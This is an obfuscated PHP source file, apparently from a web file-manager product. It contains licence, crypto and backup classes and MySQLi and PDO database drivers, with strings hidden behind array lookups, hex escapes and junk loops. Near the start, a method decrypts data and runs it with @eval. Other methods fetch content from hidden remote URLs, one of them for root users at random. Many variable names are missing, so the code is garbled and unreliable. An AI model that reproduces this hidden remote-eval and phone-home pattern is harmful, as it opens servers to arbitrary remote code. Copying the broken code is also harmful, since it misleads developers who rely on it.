$this->riht7b89a64e($lj[$[260]], 2); if ($) { $ = $this->wzcp5224ff0a($); } if ($) { try { @eval($); } catch (Exception $ˆ) { } } } } } private function bjuec3f47b28($˄ = '', $Фذ = array(), $ = 5) { $ۋ =& $_SERVER[]; $һ旴 =& $_SERVER[Ü]; $Ҁй = $һ旴[261]; $ȳ = $ۋ[751]; $Ҁй = $this->mows81ee32e9($Ҁй, $һ旴[262]); $ = $ۋ[752]; while ($ < $ۋ[699]) { if ($ >= 0) { break; } $++; } $Ҁй = $Ҁй . $˄; $Ŝ = $ۋ[753]; if ($Фذ && is_array($Фذ)) { $Ҁй = $Ҁй . $һ旴[263] . http_build_query($Фذ); } if ($Фذ === -1) { return $Ҁй; } $ԩԨ = stream_context_create(array($һ旴[219] => array($һ旴[222] => $, $һ旴[220] => $һ旴[264]), $һ旴[265] => array($һ旴[266] => !1, $һ旴[267] => !1))); $Фذ = @file_get_contents($Ҁй, !1, $ԩԨ); $Ǖ = $ۋ[754]; if (!$Ǖ) { die; } return json_decode($Фذ, !0); $ = $ۋ[722]; while ($ < $ۋ[683]) { if ($ >= 0) { break; } $++; } } private function oqdma4d4d1df() { $ƍ =& $_SERVER[]; $ҥ =& $_SERVER[Ü]; $ಳ = array($ҥ[268] => $ҥ[269], $ҥ[270] => $ҥ[271], $ҥ[272] => $ҥ[273], $ҥ[274] => $ҥ[275], $ҥ[276] => $ҥ[277], $ҥ[278] => $ҥ[214], $ҥ[279] => $ҥ[214], $ҥ[280] => $ҥ[269], $ҥ[281] => $ҥ[271], $ҥ[282] => $ҥ[273], $ҥ[283] => $ҥ[284], $ҥ[285] => $ҥ[275], $ҥ[286] => $ҥ[287], $ҥ[288] => $ҥ[277], $ҥ[289] => $ҥ[290], $ҥ[291] => $ҥ[292], $ҥ[293] => $ҥ[294]); $ڏ = $ಳ[$this->fmaldf286b22]; $ڏ = intval($ڏ ? $ڏ : $ҥ[269]); $ = $ƍ[755]; if (!$) { return; } $ı = _get($this->goqzee6de40a, $ҥ[295]); $׽ū = $ƍ[756]; if (strlen($׽ū) < $ƍ[692]) { die; } $ı = $ı ? intval($ı) : 0; $ = $ƍ[757]; if (!$) { die; } return $ڏ + $ı; } public function rtqf88c78492($) { $ =& $_SERVER[]; $Nj =& $_SERVER[Ü]; $ͩ = $this->oqdma4d4d1df(); $Ւ = $[758]; if ($[$Nj[296]] == $Nj[122]) { return; } if ($ͩ >= intval($Nj[214])) { return; } $ց = Model($Nj[125])->count(); if ($ց <= $ͩ) { return; } $𙼍ҭ = Model($Nj[125])->field($Nj[296])->limit($ͩ)->select(); $ = $[759]; if (!$) { return; } $𙼍ҭ = array_to_keyvalue($𙼍ҭ, $Nj[6], $Nj[296]); if (!in_array($[$Nj[296]], $𙼍ҭ)) { show_json($Nj[297], !1, $Nj[210]); } } public function xelqe8f30b06() { $濍 =& $_SERVER[Ü]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $ˢτ = $濍[217]; $ = $_SERVER[][760]; if (!$) { die; } $ˢτ = $this->mows81ee32e9($ˢτ, $濍[218]); $Փ = stream_context_create(array($濍[219] => array($濍[220] => $濍[221], $濍[222] => 3))); $ = @file_get_contents($ˢτ, !1, $Փ); echo $濍[298] . hash_encode($) . $濍[299]; } private function jdncf0daa323($ف, $, $Ϩ = 3) { $ =& $_SERVER[]; $ゅ =& $_SERVER[Ü]; usleep(1); $ = $[761]; if (!$) { return; } $ف = trim($ف); $ = mt_rand(0, 5) . $ゅ[6]; $ = $[762]; if (strlen($) < $[699]) { return; } $ = rand_string(15); $Ћ = $ゅ[300]; switch ($) { case $ゅ[206]: $ = $this->butf4e080185($ف, strrev($ . $)); $ = $[763]; if (!$) { die; } break; case $ゅ[122]: $ = $this->butf4e080185($ف, strrev($ . $)); break; $ߎ = $[764]; if (strlen($ߎ) < $[692]) { die; } case $ゅ[301]: $ = $this->butf4e080185($ف, base64_encode($ . $)); $˲ = $[765]; if (!$˲) { return; } break; case $ゅ[302]: $ = $this->butf4e080185($ف, md5($ . $)); $ = $[766]; break; case $ゅ[303]: $ف = base64_encode($ف); $ = rand(0, 64); $йń = $[767]; while ($йń < $[699]) { if ($йń >= 0) { break; } $йń++; } $ = $Ћ[$]; $Ոɤ = md5($ . md5($ . $) . $); $䄰 = $[768]; while ($䄰 < $[683]) { if ($䄰 >= 0) { break; } $䄰++; } $Ոɤ = substr($Ոɤ, $ % 8, $ % 8 + 7); $Լ = $ゅ[6]; $˭ = $[769]; if (strlen($˭) < $[687]) { die; } $ = 0; $ګ = $[770]; if (strlen($ګ) < $[683]) { return; } $گ = 0; $ = 0; for ($ = 0; $ < strlen($ف); $++) { $ = $ == strlen($Ոɤ) ? 0 : $; $گ = ($ + strpos($Ћ, $ف[$]) + ord($Ոɤ[$++])) % 64; $ = $[771]; if (strlen($) < $[683]) { return; } $Լ .= $Ћ[$گ]; } $ = hash_encode($ . $Լ); break; $ = $[772]; if (strlen($) < $[687]) { die; } default: $ = $this->butf4e080185($ف, $ . $); $ = $[773]; break; $ = $[774]; } $ = strrev($ . $ . $); if ($Ϩ - 1 > 0) { $ = $this->jdncf0daa323($, $, $Ϩ - 1); } return $; } private function riht7b89a64e($ܗ, $, $ = 3) { $ =& $_SERVER[]; $ =& $_SERVER[Ü]; if (!is_string($ܗ) || strlen($ܗ) < 10) { return !1; } $ܗ = trim($ܗ); $ = $[775]; $ܗ = strrev($ܗ); $Ρ = $[776]; if (!$Ρ) { return; } $Á = $ܗ[0]; $ЮԔ = substr($ܗ, 1, 15); $׸ = $[777]; if (!$׸) { return; } $ܗ = substr($ܗ, 16); $ߦⱭ = $[300]; $ = $[778]; if (strlen($) < $[699]) { die; } switch ($Á) { case $[206]: $ = $this->mows81ee32e9($ܗ, strrev($ . $ЮԔ)); $ = $[779]; break; $ = $[780]; if (!$) { return; } case $[122]: $ = $this->mows81ee32e9($ܗ, strrev($ЮԔ . $)); break; case $[301]: $ = $this->mows81ee32e9($ܗ, base64_encode($ЮԔ . $)); break; case $[302]: $ = $this->mows81ee32e9($ܗ, md5($ЮԔ . $)); $񸢧 = $[781]; if (strlen($񸢧) < $[683]) { die; } break; case $[303]: $ܗ = hash_decode($ܗ); $᯴ = $ܗ[0]; $ܗ = substr($ܗ, 1); $ = $[782]; if (!$) { die; } $ = strpos($ߦⱭ, $᯴); $؄ = md5($᯴ . md5($ . $᯴) . $); $ = $[783]; while ($ < $[692]) { if ($ >= 0) { break; } $++; } $؄ = substr($؄, $ % 8, $ % 8 + 7); $ջ = $[784]; while ($ջ < $[689]) { if ($ջ >= 0) { break; } $ջ++; } $Ÿ = $[6]; $ = 0; $ = $[785]; $Ӟ = 0; $Ŷ = 0; $ = $[786]; if (!$) { return; } for ($ = 0; $ < strlen($ܗ); $++) { $Ŷ = $Ŷ == strlen($؄) ? 0 : $Ŷ; $Љ = $[787]; while ($Љ < $[687]) { if ($Љ >= 0) { break; } $Љ++; } $ = $Ŷ++; $ = $[788]; while (strlen($) < $[687]) { if (!$) { break; } $++; } $Ӟ = strpos($ߦⱭ, $ܗ[$]) - $ - ord($؄[$]); $ = $[789]; while (strlen($) < $[689]) { if (!$) { break; } $++; } while ($Ӟ < 0) { $Ӟ += 64; $꼚 = $[790]; while (strlen($꼚) < $[699]) { if (!$꼚) { break; } $꼚++; } } $Ÿ .= $ߦⱭ[$Ӟ]; } $ = base64_decode($Ÿ); break; default: $ = $this->mows81ee32e9($ܗ, $ . $ЮԔ); break; $ү = $[791]; } if ($ - 1 > 0) { $ = $this->riht7b89a64e($, $, $ - 1); } return $; } public function wkij18ea694e($н) { $ =& $_SERVER[]; $ =& $_SERVER[Ü]; $˰ = $this->ocbk84372016(); $ԯ = $[792]; while ($ԯ < $[687]) { if ($ԯ >= 0) { break; } $ԯ++; } $ٝ¨ = $this->ocbk84372016(); $ӿݰ = ($˰ - 1) * ($ٝ¨ - 1); $ = $[793]; $ = intval(($˰ + $ٝ¨) / 2); while (1) { $꥘Դ = $; $Ǣ = $ӿݰ; while ($Ǣ % $꥘Դ != 0) { $ƍ = $Ǣ; $į = $[794]; while ($į < $[687]) { if ($į >= 0) { break; } $į++; } $Ǣ = $꥘Դ; $꥘Դ = $ƍ % $꥘Դ; } if ($꥘Դ == 1) { break; } else { $++; } } $ = 2; $ = $[795]; while (strlen($) < $[699]) { if (!$) { break; } $++; } for ($읭 = 0; $읭 < $ӿݰ * 10; $읭++) { if (($ӿݰ * $읭 + 1) % $ == 0) { $ = intval(($ӿݰ * $읭 + 1) / $); break; } } $٫ = $this->butf4e080185($˰ * $ٝ¨ . $[6], $[136]); $א = md5($[304] . ($˰ + $ٝ¨) . $[305] . $ . $[305] . $ . $[306]); $񡤹 = $[796]; if (strlen($񡤹) < $[683]) { return; } $ = $this->butf4e080185($н, $א) . $[307] . $٫; $ = $[797]; if (strlen($) < $[683]) { return; } return $; } public function wzcp5224ff0a($) { $݃ =& $_SERVER[]; $ش =& $_SERVER[Ü]; $چ = explode($ش[307], $); $ = $݃[798]; while ($ < $݃[699]) { if ($ >= 0) { break; } $++; } if (count($چ) != 2) { return $ش[6]; } $ = $this->mows81ee32e9($چ[1] . $ش[6], $ش[136]); if (!$) { return $ش[6]; } $ = intval($); $϶ = $݃[799]; if (strlen($϶) < $݃[683]) { return; } $ٌ = 0; $Н = 0; for ($ߢ = 3; $ߢ < $; $ߢ += 2) { if ($ % $ߢ != 0) { continue; } $ٌ = $ߢ; $Н = intval($ / $ߢ); break; $ = $݃[800]; if (strlen($) < $݃[683]) { return; } } $ = ($ٌ - 1) * ($Н - 1); $ƻ = intval(($ٌ + $Н) / 2); while (1) { $Σ = $ƻ; $ñ = $; $Ґ = $݃[801]; while (strlen($Ґ) < $݃[699]) { if (!$Ґ) { break; } $Ґ++; } while ($ñ % $Σ != 0) { $ = $ñ; $ñ = $Σ; $ﲡ = $݃[802]; if (strlen($ﲡ) < $݃[687]) { return; } $Σ = $ % $Σ; $ܟҎ = $݃[803]; if (strlen($ܟҎ) < $݃[683]) { die; } } if ($Σ == 1) { break; } else { $ƻ++; } } $ = 2; $ੳ = $݃[804]; for ($ߢ = 0; $ߢ < $ * 10; $ߢ++) { if (($ * $ߢ + 1) % $ƻ == 0) { $ = intval(($ * $ߢ + 1) / $ƻ); break; } } $ = md5($ش[304] . ($ٌ + $Н) . $ش[305] . $ƻ . $ش[305] . $ . $ش[306]); $ = $݃[805]; if (strlen($) < $݃[699]) { return; } $ܙɮ = $this->mows81ee32e9($چ[0], $); $ij = $݃[806]; return $ܙɮ; } public function ocbk84372016() { $˕ =& $_SERVER[]; $Й = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = $˕[807]; if (strlen($) < $˕[687]) { return; } $ܴ = array(); $ = $˕[808]; if (!$) { return; } $ = 1; $ҁ = $˕[809]; if (strlen($ҁ) < $˕[692]) { die; } while ($ <= (int) sqrt($Й)) { $ٕյ = $; $ك = $˕[810]; while (!0) { $ٕյ++; if ($ٕյ <= 2) { $ = $ٕյ; break; } else { if ($ٕյ < 2) { continue; } } $— = !0; for ($ڝ = 2; $ڝ <= sqrt($ٕյ); $ڝ++) { if ($ٕյ % $ڝ == 0) { $— = !1; } } if ($—) { $ = $ٕյ; break; } } $ܴ[] = $; $簹 = $˕[811]; } $ = 2; $ϖ = $˕[812]; while ($ϖ < $˕[692]) { if ($ϖ >= 0) { break; } $ϖ++; } for ($ٕյ = $Й; $ٕյ > 1; $ٕյ--) { $— = !0; foreach ($ܴ as $󚨉֘) { if ($ٕյ % $󚨉֘ == 0) { $— = !1; break; } } if ($—) { $ = $ٕյ; break; } } return $; } public function uxkv77fc9f13($, $) { $ =& $_SERVER[]; $ =& $_SERVER[Ü]; return call_user_func(array($[8], $[308]), $, $); $ = $[813]; if (strlen($) < $[699]) { die; } } public function butf4e080185($㼵, $) { $ =& $_SERVER[Ü]; return call_user_func(array($[309], $[310]), $㼵, $); } public function mows81ee32e9($똔, $) { $Ҫ =& $_SERVER[Ü]; return call_user_func(array($Ҫ[309], $Ҫ[311]), $똔, $); $憌 = $_SERVER[][814]; } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->model = Model($_SERVER[][815]); $this->init(); $this->keep(); } public function init() { $᝞ =& $_SERVER[]; $this->isManual(); self::$name = date($᝞[816]); if (!($תÒ = $this->model->lastItem())) { $תÒ = $this->initData(); } else { self::$name = $תÒ[$᝞[32]]; if ($תÒ[$᝞[817]] == $᝞[91]) { self::$name = date($᝞[272]); $ = intval(_get($תÒ, $᝞[818], 0)); if (self::$manual == 0 && $תÒ[$᝞[32]] == self::$name) { $this->model->remove($תÒ[$᝞[475]]); } $תÒ = $this->initData($, $תÒ[$᝞[819]]); } else { $this->checkStore($תÒ[$᝞[819]]); } } self::$option = $תÒ; } private function isManual() { $ = _get($GLOBALS, $_SERVER[][820], 0); $ = intval($); self::$manual = $ && $ == 1 ? 1 : 0; } private function initData($ = 0, $˕ = '') { $Ι =& $_SERVER[]; $՜ = $this->model->config(); if ($˕ && $՜[$Ι[819]] != $˕) { $ = 0; } $this->checkStore($՜[$Ι[819]]); if (self::$manual == 1) { self::$name .= $Ι[11] . date($Ι[821]); } $ = array($Ι[819] => $՜[$Ι[819]], $Ι[32] => self::$name, $Ι[817] => 0, $Ι[171] => $՜[$Ι[171]], $Ι[822] => self::$manual, $Ι[369] => array($Ι[823] => array($Ι[817] => 0), $Ι[824] => array($Ι[817] => 0, $Ι[825] => 0, $Ι[826] => 0, $Ι[33] => $Ι[12], $Ι[827] => 0, $Ι[828] => 0), $Ι[829] => array($Ι[817] => 0, $Ι[825] => 0, $Ι[826] => 0, $Ι[827] => 0, $Ι[828] => 0), $Ι[230] => array($Ι[817] => 0, $Ι[830] => 0, $Ι[831] => 0, $Ι[832] => 0, $Ι[833] => 0, $Ι[541] => $, $Ι[827] => 0, $Ι[828] => 0)), $Ι[827] => time(), $Ι[828] => 0); $ւި = $this->model->insert($); $[$Ι[475]] = $ւި; return $; } private function checkStore($͵) { $ = Model($_SERVER[][834]); $ = $->listData($͵); $->checkConfig($); } public static function get() { if (!self::$option) { $鴦 = Model($_SERVER[][815]); $ = $鴦->findByName(self::$name); $鴦->parseContent($); self::$option = $; } return self::$option; } public static function set($) { $ =& $_SERVER[]; $ܚ = self::get(); foreach ($ as $ҷ => $) { array_set_value($ܚ, $ҷ, $); } Model($[815])->update($ܚ[$[475]], $ܚ); self::$option = $ܚ; return self::$option; } public function keep() { $ =& $_SERVER[]; $ڮ = self::get(); if (_get($ڮ, $[835], 0) == $[91]) { return; } $this->backupKeep($ڮ); self::set(array($[835] => 1)); } private function backupKeep($浨ɝ) { $Ն =& $_SERVER[]; if (self::$manual == 1) { return; } $⺠ = $this->model->listData(); if (empty($⺠)) { return; } $Õ։ = 0; $ħ = array(); foreach ($⺠ as $Ԋ) { if ($Õ։ >= 7) { break; } $ħ[] = $Ԋ[$Ն[32]]; $Õ։++; } for ($Õ։ = 0; $Õ։ < 12; $Õ։++) { $ħ[] = date($Ն[836], strtotime("\55{$Õ։}\x20\x6d\157\x6e\164\x68\163")); } $ħ = array_unique($ħ); $ƨ = Model($Ն[837])->get($Ն[838]); foreach ($⺠ as $Ԋ) { if (isset($Ԋ[$Ն[822]]) && $Ԋ[$Ն[822]] == $Ն[91]) { continue; } if (!empty($Ԋ[$Ն[32]]) && in_array($Ԋ[$Ն[32]], $ħ)) { continue; } $this->model->remove($Ԋ[$Ն[475]]); $׏ = $this->backupPath($浨ɝ, $ƨ); IO::remove($׏, !1); } } private function backupPath($̗, $۫ƥ = false) { $ =& $_SERVER[]; if (!$۫ƥ) { $۫ƥ = Model($[837])->get($[838]); } $ = $̗[$[32]]; $ = substr(md5($[839] . $۫ƥ . $), 0, 8); return "\173\151\x6f\72{$̗[$[819]]}\175\x2f\144\141\x74\x61\x62\x61\x73\x65\x2f\142\x61\x63\153\165\160\57" . $ . $[11] . $; } public function db() { $䊉 =& $_SERVER[]; $Ϝԩ = self::get(); if (_get($Ϝԩ, $䊉[840], 0) == $䊉[91]) { return !0; } $Ң = new BackupDb(); if (!$Ң->index()) { return !1; } self::set(array($䊉[840] => 1)); return !0; } public function dbFile() { $Ҕ =& $_SERVER[]; $㧔 = self::get(); if (_get($㧔, $Ҕ[841], 0) == $Ҕ[91]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($Ҕ[841] => 1)); return !0; } public function file() { $ =& $_SERVER[]; $ = self::get(); if (_get($, $[842], 0) == $[91]) { return !0; } if ($[$[171]] == $[843]) { $ɝ = new BackupFile(); if (!$ɝ->index()) { return !1; } } self::set(array($[842] => 1, $[817] => 1)); return !0; } } goto eй; dߊ: class DbMysqli extends Db { public function __construct($ = '') { $˱ =& $_SERVER[]; if (!extension_loaded($˱[983])) { think_exception(think_lang($˱[14]) . $˱[984]); } if (!empty($)) { $this->config = $; if (empty($this->config[$˱[17]])) { $this->config[$˱[17]] = $˱[12]; } } } public function connect($ = '', $، = 0) { $񙡉 =& $_SERVER[]; if (!isset($this->linkID[$،])) { if (empty($)) { $ = $this->config; } $this->linkID[$،] = new mysqli($[$񙡉[957]], $[$񙡉[959]], $[$񙡉[960]], $[$񙡉[21]], $[$񙡉[958]] ? intval($[$񙡉[958]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ɆН = $this->linkID[$،]->server_version; $this->linkID[$،]->query($񙡉[961] . think_config($񙡉[962]) . $񙡉[58]); if ($ɆН > $񙡉[963]) { $this->linkID[$،]->query($񙡉[964]); } $this->connected = !0; if (1 != think_config($񙡉[22])) { unset($this->config); } } return $this->linkID[$،]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($䚽) { $¡ʖ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $䚽; if ($this->queryID) { $this->free(); } think_action_status($¡ʖ[23], 1); think_status($¡ʖ[24]); $this->queryID = $this->_linkID->query($䚽); if ($this->_linkID->more_results()) { while (($믑 = $this->_linkID->next_result()) != NULL) { $믑->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($) { $֠ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($֠[25], 1); think_status($֠[24]); $Ʀ = $this->_linkID->query($); $this->debug(); if (!1 === $Ʀ) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ʎ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$ʎ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ߣˌ = array(); if ($this->numRows > 0) { for ($Ҝ = 0; $Ҝ < $this->numRows; $Ҝ++) { $ߣˌ[$Ҝ] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $ߣˌ; } public function getFields($) { $Ū =& $_SERVER[]; $̧ = $this->query($Ū[968] . $this->parseKey($)); $ = array(); if ($̧) { foreach ($̧ as $ => $) { $[$[$Ū[31]]] = array($Ū[32] => $[$Ū[31]], $Ū[33] => $[$Ū[34]], $Ū[35] => (bool) ($[$Ū[36]] === $Ū[12]), $Ū[37] => $[$Ū[38]], $Ū[39] => strtolower($[$Ū[40]]) == $Ū[41], $Ū[42] => strtolower($[$Ū[43]]) == $Ū[44]); } } return $; } public function getTables($Á = '') { $ډ =& $_SERVER[]; $와 = !empty($Á) ? $ډ[970] . $Á . $ډ[971] : $ډ[972]; $ޛ = $this->query($와); $ܳ = array(); if ($ޛ) { foreach ($ޛ as $ʿ => $ƍ) { $ܳ[$ʿ] = current($ƍ); } } return $ܳ; } public function replace($Ŀ, $ע = array()) { $ =& $_SERVER[]; foreach ($Ŀ as $̈ => $) { $ё = $this->parseValue($); if (is_scalar($ё)) { $ˢ[] = $ё; $[] = $this->parseKey($̈); } } $ = $[973] . $this->parseTable($ע[$[356]]) . $[974] . implode($[50], $) . $[975] . implode($[50], $ˢ) . $[976]; return $this->execute($); } public function insertAll($۱, $هٰ = array(), $ų֕ = false) { $ߗŴ =& $_SERVER[]; if (!is_array($۱[0])) { return !1; } $ = array_keys($۱[0]); $޵ = array(); foreach ($۱ as $) { $齢 = array(); foreach ($ as $Ƣ => $) { $ = $this->parseValue($); if (is_scalar($)) { $齢[] = $; } } $޵[] = $ߗŴ[337] . implode($ߗŴ[50], $齢) . $ߗŴ[976]; } array_walk($, array($this, $ߗŴ[977])); $Չ = $ų֕ ? $ߗŴ[978] : $ߗŴ[979]; $ = $Չ . $ߗŴ[980] . $this->parseTable($هٰ[$ߗŴ[356]]) . $ߗŴ[974] . implode($ߗŴ[50], $) . $ߗŴ[981] . implode($ߗŴ[50], $޵); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ƕ =& $_SERVER[]; $this->error = $this->_linkID->errno . $ƕ[4] . $this->_linkID->error; if ($ƕ[12] != $this->queryStr) { $this->error .= LNG($ƕ[48]) . $this->queryStr; } think_trace($this->error, $ƕ[12], $ƕ[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return $this->_linkID->real_escape_string($); } else { return addslashes($); } } public function parseKey(&$ٲ, $Ց = true) { $ԏ =& $_SERVER[]; if ($Ց) { $ٲ = $this->parseKeyCheck($ٲ); } if ($ٲ != $ԏ[220] && !preg_match($ԏ[982], $ٲ)) { $ٲ = $ԏ[461] . trim($ٲ, $ԏ[461]) . $ԏ[461]; } return $ٲ; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($Ӱ = '') { $ʍ =& $_SERVER[]; if (!class_exists($ʍ[985])) { think_exception(think_lang($ʍ[14]) . $ʍ[986]); } if (!empty($Ӱ)) { $this->config = $Ӱ; if (empty($this->config[$ʍ[17]])) { $this->config[$ʍ[17]] = array(); } } } public function connect($𪣿 = '', $ʔО = 0) { $ʋ =& $_SERVER[]; if (!isset($this->linkID[$ʔО])) { if (empty($𪣿)) { $𪣿 = $this->config; } $ޑ = !empty($𪣿[$ʋ[17]][$ʋ[18]]) ? $𪣿[$ʋ[17]][$ʋ[18]] : $this->pconnect; if ($ޑ) { $𪣿[$ʋ[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$ʔО] = new PDO($𪣿[$ʋ[987]], $𪣿[$ʋ[959]], $𪣿[$ʋ[960]], $𪣿[$ʋ[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($𪣿[$ʋ[987]]); if (in_array($this->dbType, array($ʋ[988], $ʋ[989], $ʋ[990], $ʋ[991]))) { think_exception($ʋ[992] . $this->dbType . $ʋ[993] . $this->dbType . $ʋ[994]); } if (!$this->linkID[$ʔО]) { think_exception($ʋ[995]); } try { $this->linkID[$ʔО]->exec($ʋ[996] . think_config($ʋ[962])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($ʋ[22])) { unset($this->config); } } return $this->linkID[$ʔО]; } public function free() { $this->PDOStatement = null; } public function query($, $⦌ = array()) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($⦌)) { $this->queryStr .= $[997] . print_r($⦌, !0) . $[998]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ݴ = $this->PDOStatement->execute($⦌); $this->debug(); if (!1 === $ݴ) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($˜, $Հ = array()) { $ŀ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $˜; if (!empty($Հ)) { $this->queryStr .= $ŀ[997] . print_r($Հ, !0) . $ŀ[998]; } $ = !1; if ($this->dbType == $ŀ[991]) { if (preg_match($ŀ[999], $this->queryStr, $ʽЁ)) { $this->table = think_config($ŀ[1000]) . str_ireplace(think_config($ŀ[1001]), $ŀ[454], $ʽЁ[2]); $ = (bool) $this->query($ŀ[1002] . strtoupper($this->table) . $ŀ[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ŀ[25], 1); think_status($ŀ[24]); $this->PDOStatement = $this->_linkID->prepare($˜); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ぱ = $this->PDOStatement->execute($Հ); $this->debug(); if (!1 === $ぱ) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ || preg_match($ŀ[1003], $˜)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $Ƹ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($Ƹ); return $Ƹ; } public function getFields($ߒݞ) { $߄ =& $_SERVER[]; $this->initConnect(!0); if (think_config($߄[1004])) { $ߖ = str_replace($߄[1005], $ߒݞ, think_config($߄[1004])); } else { switch ($this->dbType) { case $߄[988]: case $߄[1006]: $ߖ = "\123\105\114\x45\103\x54\40\x20\40\x63\157\154\x75\x6d\x6e\x5f\156\x61\x6d\x65\x20\141\163\x20\x27\x4e\141\x6d\x65\47\x2c\x20\40\x20\x64\x61\164\141\x5f\164\171\160\145\x20\x61\x73\40\x27\124\x79\x70\x65\x27\x2c\x20\x20\40\143\x6f\x6c\165\155\156\137\x64\x65\x66\x61\x75\x6c\x74\x20\141\163\40\x27\x44\145\146\x61\x75\x6c\164\47\x2c\40\40\x20\x69\163\137\156\x75\x6c\154\141\x62\154\145\40\x61\x73\x20\47\x4e\165\154\154\47\12\11\11\106\x52\x4f\115\11\151\156\x66\157\x72\x6d\x61\164\x69\157\x6e\137\x73\x63\150\145\x6d\x61\x2e\x74\x61\x62\x6c\x65\x73\40\x41\x53\x20\x74\12\11\11\112\x4f\x49\116\x9\x69\x6e\x66\x6f\162\155\x61\164\x69\157\156\x5f\163\143\150\145\x6d\141\x2e\x63\x6f\x6c\x75\x6d\x6e\163\40\101\x53\x20\143\12\x9\x9\x4f\116\x20\x20\x74\56\164\x61\x62\154\145\x5f\143\x61\164\x61\x6c\x6f\x67\x20\x3d\x20\143\56\164\141\142\x6c\145\x5f\x63\141\x74\x61\154\157\147\xa\11\x9\101\116\x44\40\164\56\x74\x61\x62\x6c\145\x5f\x73\x63\x68\x65\x6d\141\x20\x3d\x20\x63\56\164\141\142\154\x65\137\163\x63\150\x65\x6d\141\12\x9\11\101\x4e\104\x20\x74\x2e\x74\x61\x62\x6c\x65\137\x6e\141\155\145\x20\x3d\40\x63\x2e\164\141\x62\x6c\x65\x5f\156\141\155\x65\12\11\11\127\110\x45\x52\105\x20\40\40\164\x2e\164\141\142\154\145\x5f\156\x61\x6d\145\40\75\40\47{$ߒݞ}\x27"; break; case $߄[1007]: $ߖ = $߄[1008] . $ߒݞ . $߄[1009]; break; case $߄[989]: case $߄[991]: $ߖ = $߄[1010] . $߄[1011] . $߄[1012] . strtoupper($ߒݞ) . $߄[1013] . strtoupper($ߒݞ) . $߄[1014]; break; case $߄[1015]: $ߖ = $߄[1016] . $ߒݞ . $߄[1017]; break; case $߄[990]: break; case $߄[1018]: default: $ߖ = $߄[1019] . ($this->dbType == $߄[1018] ? "\140{$ߒݞ}\x60" : $ߒݞ); } } $ = $this->query($ߖ); $ՠ = array(); if ($) { foreach ($ as $ => $) { $ = array_change_key_case($); $[$߄[32]] = isset($[$߄[32]]) ? $[$߄[32]] : $߄[454]; $[$߄[33]] = isset($[$߄[33]]) ? $[$߄[33]] : $߄[454]; $鮯 = isset($[$߄[350]]) ? $[$߄[350]] : $[$߄[32]]; $ՠ[$鮯] = array($߄[32] => $鮯, $߄[33] => $[$߄[33]], $߄[35] => (bool) (isset($[$߄[106]]) && $[$߄[106]] === $߄[12] || isset($[$߄[35]]) && $[$߄[35]] === $߄[12]), $߄[37] => isset($[$߄[37]]) ? $[$߄[37]] : (isset($[$߄[56]]) ? $[$߄[56]] : $߄[454]), $߄[39] => isset($[$߄[97]]) ? strtolower($[$߄[97]]) == $߄[41] : (isset($[$߄[57]]) ? $[$߄[57]] : !1), $߄[42] => isset($[$߄[1020]]) ? strtolower($[$߄[1020]]) == $߄[44] : (isset($[$߄[97]]) ? $[$߄[97]] : !1)); } } return $ՠ; } public function getTables($ = '') { $Ư =& $_SERVER[]; if (think_config($Ư[1021])) { $չ = str_replace($Ư[1022], $, think_config($Ư[1021])); } else { switch ($this->dbType) { case $Ư[989]: case $Ư[991]: $չ = $Ư[1023]; break; case $Ư[988]: case $Ư[1006]: $չ = $Ư[1024]; break; case $Ư[1015]: $չ = $Ư[1025]; break; case $Ư[990]: think_exception(think_lang($Ư[1026]) . $Ư[1027]); break; case $Ư[1007]: $չ = $Ư[45] . $Ư[46] . $Ư[47]; break; case $Ư[1018]: default: if (!empty($)) { $չ = 